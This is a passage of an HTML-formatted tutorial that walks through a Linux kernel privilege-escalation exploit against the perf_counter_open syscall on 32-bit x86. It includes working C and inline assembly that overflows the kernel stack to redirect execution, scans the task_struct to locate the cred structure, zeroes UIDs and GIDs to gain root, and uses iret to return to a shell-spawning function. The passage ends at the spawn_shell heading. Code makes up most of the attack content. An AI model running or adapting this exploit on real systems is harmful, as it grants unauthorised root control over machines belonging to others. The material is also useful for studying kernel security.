        &lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;aligned_overflow&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PTR_ALIGN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stack_overflow&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

        &lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SIZEOF_ATTR&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="cm"&gt;/* size is the second u32 in the struct */&lt;/span&gt;
        &lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stack_overflow&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;attr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BUFFER_LEN&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;stack_overflow&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;kernel_code&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="n"&gt;stack_overflow&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="cm"&gt;/* then put 0s where we need them ... */&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;aligned_overflow&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;attr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BUFFER_LEN&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;aligned_overflow&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="n"&gt;aligned_overflow&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;syscall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__NR_perf_counter_open&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;So, if all wants well when the &lt;em&gt;perf_counter_open&lt;/em&gt; function returns, the code flow should be redirected to our code and executed with kernel privileges (ring0).&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="the-kernel-trip"&gt;
&lt;h2&gt;The Kernel trip&lt;/h2&gt;
&lt;p&gt;What we need to do while in ring0 (kernel land), is to modify the credentials of our process to get the &lt;em&gt;root&lt;/em&gt; privileges and exit the kernel. So, when back in ring3 (user land) we will start a shell from our process with the root privileges.
We start by writing our kernel_code function as this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="kt"&gt;void&lt;/span&gt;    &lt;span class="nf"&gt;kernel_code&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;update_cred&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;exit_kernel&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="upgrading-credentials"&gt;
&lt;h2&gt;Upgrading credentials&lt;/h2&gt;
&lt;p&gt;Credentials of a process are stored in the &lt;em&gt;task_struct&lt;/em&gt;. The &lt;em&gt;task_struct&lt;/em&gt; is a huge structure holding everything about a process. The current process' task_struct address is always stored on top of the kernel stack - sizeof(long).
The &lt;em&gt;task_struct&lt;/em&gt; can be organised in different ways depending of kernel compilation options. So, even with the address of this structure, we cannot calculate to exact position of the credential-related fields.  On latest kernel, credential are stored in &lt;em&gt;cred&lt;/em&gt; structure pointed by the &lt;em&gt;task_struct&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Here is how the &lt;em&gt;task_struct&lt;/em&gt; links the credentials:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;task_struct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;span class="cm"&gt;/* process credentials */&lt;/span&gt;
        &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;real_cred&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="cm"&gt;/* objective and real subjective task&lt;/span&gt;
&lt;span class="cm"&gt;                                         * credentials (COW) */&lt;/span&gt;
        &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;        &lt;span class="cm"&gt;/* effective (overridable) subjective task&lt;/span&gt;
&lt;span class="cm"&gt;                                         * credentials (COW) */&lt;/span&gt;
&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And here is the &lt;em&gt;cred&lt;/em&gt; structure:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;atomic_t&lt;/span&gt;        &lt;span class="n"&gt;usage&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;uid_t&lt;/span&gt;           &lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;            &lt;span class="cm"&gt;/* real UID of the task */&lt;/span&gt;
        &lt;span class="n"&gt;gid_t&lt;/span&gt;           &lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;            &lt;span class="cm"&gt;/* real GID of the task */&lt;/span&gt;
        &lt;span class="n"&gt;uid_t&lt;/span&gt;           &lt;span class="n"&gt;suid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;           &lt;span class="cm"&gt;/* saved UID of the task */&lt;/span&gt;
        &lt;span class="n"&gt;gid_t&lt;/span&gt;           &lt;span class="n"&gt;sgid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;           &lt;span class="cm"&gt;/* saved GID of the task */&lt;/span&gt;
        &lt;span class="n"&gt;uid_t&lt;/span&gt;           &lt;span class="n"&gt;euid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;           &lt;span class="cm"&gt;/* effective UID of the task */&lt;/span&gt;
        &lt;span class="n"&gt;gid_t&lt;/span&gt;           &lt;span class="n"&gt;egid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;           &lt;span class="cm"&gt;/* effective GID of the task */&lt;/span&gt;
        &lt;span class="n"&gt;uid_t&lt;/span&gt;           &lt;span class="n"&gt;fsuid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;          &lt;span class="cm"&gt;/* UID for VFS ops */&lt;/span&gt;
        &lt;span class="n"&gt;gid_t&lt;/span&gt;           &lt;span class="n"&gt;fsgid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;          &lt;span class="cm"&gt;/* GID for VFS ops */&lt;/span&gt;
        &lt;span class="kt"&gt;unsigned&lt;/span&gt;        &lt;span class="n"&gt;securebits&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;     &lt;span class="cm"&gt;/* SUID-less security management */&lt;/span&gt;
        &lt;span class="n"&gt;kernel_cap_t&lt;/span&gt;    &lt;span class="n"&gt;cap_inheritable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* caps our children can inherit */&lt;/span&gt;
        &lt;span class="n"&gt;kernel_cap_t&lt;/span&gt;    &lt;span class="n"&gt;cap_permitted&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="cm"&gt;/* caps we&amp;#39;re permitted */&lt;/span&gt;
        &lt;span class="n"&gt;kernel_cap_t&lt;/span&gt;    &lt;span class="n"&gt;cap_effective&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="cm"&gt;/* caps we can actually use */&lt;/span&gt;
        &lt;span class="n"&gt;kernel_cap_t&lt;/span&gt;    &lt;span class="n"&gt;cap_bset&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;       &lt;span class="cm"&gt;/* capability bounding set */&lt;/span&gt;
&lt;span class="cp"&gt;#ifdef CONFIG_KEYS&lt;/span&gt;
        &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;   &lt;span class="n"&gt;jit_keyring&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;    &lt;span class="cm"&gt;/* default keyring to attach requested&lt;/span&gt;
&lt;span class="cm"&gt;                                         * keys to */&lt;/span&gt;
        &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;      &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;thread_keyring&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* keyring private to this thread */&lt;/span&gt;
        &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;      &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;request_key_auth&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* assumed request_key authority */&lt;/span&gt;
        &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;thread_group_cred&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;tgcred&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* thread-group shared credentials */&lt;/span&gt;
&lt;span class="cp"&gt;#endif&lt;/span&gt;
&lt;span class="cp"&gt;#ifdef CONFIG_SECURITY&lt;/span&gt;
        &lt;span class="kt"&gt;void&lt;/span&gt;            &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;security&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;      &lt;span class="cm"&gt;/* subjective LSM security */&lt;/span&gt;
&lt;span class="cp"&gt;#endif&lt;/span&gt;
        &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;user_struct&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;       &lt;span class="cm"&gt;/* real user ID subscription */&lt;/span&gt;
        &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;group_info&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;group_info&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="cm"&gt;/* supplementary groups for euid/fsgid */&lt;/span&gt;
        &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;rcu_head&lt;/span&gt; &lt;span class="n"&gt;rcu&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;            &lt;span class="cm"&gt;/* RCU deletion hook */&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;As you may have noticed, &lt;em&gt;task_struct&lt;/em&gt; links two &lt;em&gt;cred&lt;/em&gt; structures.  Under normal circumstances, the two pointers have the same value, thus pointing to the same &lt;em&gt;cred&lt;/em&gt; structure.&lt;/p&gt;
&lt;p&gt;This plus the very special definition of the &lt;em&gt;cred&lt;/em&gt; structure having all the UIDs/GIDs side by side define a special signature.
We will be able to find the &lt;em&gt;cred&lt;/em&gt; structure's address by walking the &lt;em&gt;task_struct&lt;/em&gt; searching for two field having the same exact value and looking like pointers to objects in the kernel memory space.&lt;/p&gt;
&lt;p&gt;Then we will check if the pointed memory looks like a &lt;em&gt;cred&lt;/em&gt; structure by looking at the UIDs/GIDs suite.
When the &lt;em&gt;cred&lt;/em&gt; structure will be found, we will just have to put 0s in the UIDs and GIDs to make our process have the root privileges.&lt;/p&gt;
&lt;p&gt;Here is the code of our &lt;em&gt;update_cred&lt;/em&gt; function:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;update_cred&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;uint32_t&lt;/span&gt;        &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kt"&gt;uint32_t&lt;/span&gt;        &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;task&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_current&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="cm"&gt;/* Pointer to the task_struct */&lt;/span&gt;
        &lt;span class="kt"&gt;uint32_t&lt;/span&gt;        &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;cred&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;cred&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;task&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cred&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;task&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mh"&gt;0xc0000000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                        &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* Get ride of the cred&amp;#39;s &amp;#39;usage&amp;#39; field */&lt;/span&gt;
                        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;uid&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;gid&lt;/span&gt;
                            &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;uid&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;gid&lt;/span&gt;
                            &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;uid&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;gid&lt;/span&gt;
                            &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;uid&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                        &lt;span class="p"&gt;{&lt;/span&gt;
                                &lt;span class="cm"&gt;/* Get root */&lt;/span&gt;
                                &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                                &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                                &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                        &lt;span class="p"&gt;}&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Well, we now need to go back to our process ...&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="exiting-kernel"&gt;
&lt;h2&gt;Exiting kernel&lt;/h2&gt;
&lt;p&gt;Exiting kernel will not be difficult, all we have to do is to prepare the stack and call the &lt;em&gt;iret&lt;/em&gt; instruction.&lt;/p&gt;
&lt;p&gt;As defined in the Intel manuals, &lt;em&gt;iret&lt;/em&gt; returns control to the program.  When calling iret the processor pops data from the stack and place it in the &lt;em&gt;EIP&lt;/em&gt; register, &lt;em&gt;CS&lt;/em&gt; segment register, &lt;em&gt;EFLAGS&lt;/em&gt; register, &lt;em&gt;ESP&lt;/em&gt; register and finally &lt;em&gt;SS&lt;/em&gt; segment register.
The segment registers and &lt;em&gt;EFLAGS&lt;/em&gt; will be set to &amp;quot;standard&amp;quot; value while we will give an address for &lt;em&gt;ESP&lt;/em&gt; pointing to a memory buffer defined in our program (&lt;em&gt;exit_stack&lt;/em&gt;), and the address of our &lt;em&gt;spawn_shell&lt;/em&gt; function for &lt;em&gt;EIP&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;After the &lt;em&gt;iret&lt;/em&gt; instruction will be executed we will be back in our program, at the start of the &lt;em&gt;spawn_shell&lt;/em&gt; function, in user mode with the root's privileges.&lt;/p&gt;
&lt;p&gt;Here is the code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;exit_kernel&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;__asm__&lt;/span&gt; &lt;span class="n"&gt;__volatile__&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="s"&gt;&amp;quot;movl %0, 0x10(%%esp) ;&amp;quot;&lt;/span&gt;
        &lt;span class="s"&gt;&amp;quot;movl %1, 0x0c(%%esp) ;&amp;quot;&lt;/span&gt;
        &lt;span class="s"&gt;&amp;quot;movl %2, 0x08(%%esp) ;&amp;quot;&lt;/span&gt;
        &lt;span class="s"&gt;&amp;quot;movl %3, 0x04(%%esp) ;&amp;quot;&lt;/span&gt;
        &lt;span class="s"&gt;&amp;quot;movl %4, 0x00(%%esp) ;&amp;quot;&lt;/span&gt;
        &lt;span class="s"&gt;&amp;quot;iret&amp;quot;&lt;/span&gt;
        &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;i&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;USER_SS&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;r&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STACK&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exit_stack&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;i&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;USER_FL&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
            &lt;span class="s"&gt;&amp;quot;i&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;USER_CS&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;r&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;spawn_shell&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="last-but-not-least-spawning-a-shell"&gt;
&lt;h2&gt;Last, but not least ... spawning a shell !&lt;/h2&gt;
&lt;p&gt;Now, we are back in user land (ring3), and as we changed our stack address, and smashed some segment registers (like &lt;em&gt;GS&lt;/em&gt;), we will not rely on the libc. So, we will start our shell in assembler.&lt;/p&gt;
&lt;p&gt;It's quite simple: A syscall to &lt;em&gt;write&lt;/em&gt; to print a message, and then a syscall to &lt;em&gt;execve&lt;/em&gt; to start the shell;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;spawn_shell&lt;/em&gt;:&lt;/p&gt;
